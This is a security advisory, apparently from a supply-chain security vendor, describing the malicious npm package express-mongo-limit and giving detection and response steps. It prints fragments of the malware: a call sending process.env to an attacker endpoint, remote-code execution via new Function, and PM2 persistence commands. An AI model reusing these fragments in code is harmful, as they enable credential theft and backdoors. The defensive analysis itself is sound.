express-mongo-limitnpm
express-mongo-limit is a confirmed malicious npm package (MAL-2026-7012) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.1, 1.0.2…). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in express-mongo-limit (npm)
What this malware does
The npm package express-mongo-limit masquerades as an Express/MongoDB payload sanitization middleware (likely typosquatting express-mongo-sanitize) but is a credential stealer, remote-code-execution backdoor, crypto clipboard hijacker, and screenshot spyware. It declares a postinstall: node index.js hook, so the payload executes automatically on install. The obfuscated config/auth.js (built with javascript-obfuscator) exfiltrates the victim's entire process.env via axios.post(url, {...process.env}, { headers: { 'x-app-request': 'ip-check' } }) to an attacker-controlled endpoint, and index.js fetches arbitrary JavaScript from a C2 server and executes it with new Function("require", response.data)(require), writing the payload to apiKeyResponse.js for persistence. Version 2.0.1 additionally ships service.js, a clipboard hijacker that monitors the clipboard and silently replaces detected Ethereum/BNB, Bitcoin, Solana, and Tron wallet addresses with the attacker's wallets, and app.js, which captures the desktop screen every 2 seconds and emails each screenshot to [email protected] via nodemailer/Gmail. It establishes persistence by globally installing pm2, clipboardy, and screenshot-desktop and registering service.js as a PM2 startup service. Version 1.0.0 is a benign "Hello World" decoy used to stage the package name. The package was published by npm user jon_conway ([email protected]).
The package advertises itself as an Express/Mongo payload sanitizer but its postinstall hook (node index.js) globally installs pm2, clipboardy, and screenshot-desktop, then runs pm2 start service.js, pm2 save, and pm2 startup to persist a background service across reboots on the installer's machine. The persisted service (service.js) polls the system clipboard once per second and, when it detects an ETH/BSC, BTC, Solana, or Tron address, replaces it with hardcoded attacker wallets (ETH 0x62Fc857DE5469fDd81F57F309c2fb000cad7bbbb, BTC bc1q8tzzpun6rd45s6fgar2up8nfelt4u2r2h999cc, SOL 6A7vQWJveJBWP78oktAjoZbMakrCAQyLphJ5Kswy5xA4, TRX TUqk5th1eXZWrt1arsqpxZ3frqaCxc9Lr4) to redirect cryptocurrency transfers. A sibling app.js runs an infinite 2-second loop that captures the desktop via screenshot-desktop and emails each screenshot via nodemailer through a Gmail account ([email protected]); the app password is a placeholder in this version but the harvesting and delivery framework is fully wired. config/auth.js also exports a verify() helper that POSTs the entire process.env to a base64-obfuscated Vercel endpoint (gamboracle.vercel.app/api; a second endpoint ipcheck-six.vercel.app/api is stored in .env), with an atob-based decoder used to hide the destinations. The package name and description mimic the widely-used express-mongo-sanitize while the README is an unrelated hello-world-package stub, indicating the metadata is a lure. Installation on a default npm install triggers persistent RCE, clipboard-based crypto theft, desktop screenshot exfiltration, and provides an env-var exfiltration primitive to attacker-controlled endpoints.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for express-mongo-limit (11 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging express-mongo-limit across your stack and pipelines.
If you installed it — respond
express-mongo-limit is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If express-mongo-limit was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks express-mongo-limit before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- SafeDep · finder
Detect & block this
O3 blocks express-mongo-limit-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.